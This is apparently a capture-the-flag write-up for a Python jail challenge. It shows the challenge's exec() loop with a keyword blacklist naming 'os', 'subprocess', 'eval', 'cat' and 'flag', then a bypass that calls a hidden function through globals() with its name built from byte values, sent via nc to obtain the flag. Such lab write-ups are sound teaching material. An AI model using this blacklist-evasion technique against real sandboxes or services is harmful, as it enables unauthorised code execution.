Locked Away
3 minutes to read
We are given the Python source code that is being run by the remote instance (main.py):
banner = r'''
.____ __ .___ _____
| | ____ ____ | | __ ____ __| _/ / _ \__ _ _______ ___.__.
| | / _ \_/ ___\| |/ // __ \ / __ | / /_\ \ \/ \/ /\__ \< | |
| |__( <_> ) \___| <\ ___// /_/ | / | \ / / __ \\___ |
|_______ \____/ \___ >__|_ \\___ >____ | \____|__ /\/\_/ (____ / ____|
\/ \/ \/ \/ \/ \/ \/\/
'''
def open_chest():
with open('flag.txt', 'r') as f:
print(f.read())
blacklist = [
'import', 'os', 'sys', 'breakpoint',
'flag', 'txt', 'read', 'eval', 'exec',
'dir', 'print', 'subprocess', '[', ']',
'echo', 'cat', '>', '<', '"', '\'', 'open'
]
print(banner)
while True:
command = input('The chest lies waiting... ')
if any(b in command for b in blacklist):
print('Invalid command!')
continue
try:
exec(command)
except Exception:
print('You have been locked away...')
exit(1337)
Source code analysis
Basically, we are allowed to run Python code with exec as long as we don’t explicitly include any of the words in blacklist:
blacklist = [
'import', 'os', 'sys', 'breakpoint',
'flag', 'txt', 'read', 'eval', 'exec',
'dir', 'print', 'subprocess', '[', ']',
'echo', 'cat', '>', '<', '"', '\'', 'open'
]
Notice that there is a function that will give us the flag:
def open_chest():
with open('flag.txt', 'r') as f:
print(f.read())
However, we can’t execute directly open_chest because open is in blacklist… Also, we can’t use exec or eval…
Solution
Still, in Python there is a global function called globals that returns a dictionary with all global functions and variables of the script:
$ python3 -q
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>}
>>> a = 1337
>>> globals().get('a')
1337
And it also works with functions:
>>> def f():
... print('hey')
...
>>> globals().get('f')
<function f at 0x101137920>
>>> globals().get('f')()
hey
Now, we only need to use a string without single/double quotes. There are several ways, like using a list of integers as bytes or using chr and +:
>>> list(b'open_chest')
[111, 112, 101, 110, 95, 99, 104, 101, 115, 116]
>>> bytes([111, 112, 101, 110, 95, 99, 104, 101, 115, 116]).decode()
'open_chest'
>>> chr(111) + chr(112) + chr(101) + chr(110) + chr(95) + chr(99) + chr(104) + chr(101) + chr(115) + chr(116)
'open_chest'
Flag
So, we have everything we need to call open_chest and get the flag:
$ nc 94.237.54.201 58952
.____ __ .___ _____
| | ____ ____ | | __ ____ __| _/ / _ \__ _ _______ ___.__.
| | / _ \_/ ___\| |/ // __ \ / __ | / /_\ \ \/ \/ /\__ \< | |
| |__( <_> ) \___| <\ ___// /_/ | / | \ / / __ \\___ |
|_______ \____/ \___ >__|_ \\___ >____ | \____|__ /\/\_/ (____ / ____|
\/ \/ \/ \/ \/ \/ \/\/
The chest lies waiting... globals().get(bytes((111, 112, 101, 110, 95, 99, 104, 101, 115, 116)).decode())()
HTB{bL4cKl1sT?_bUt_tH4t'5_t0o_3asY}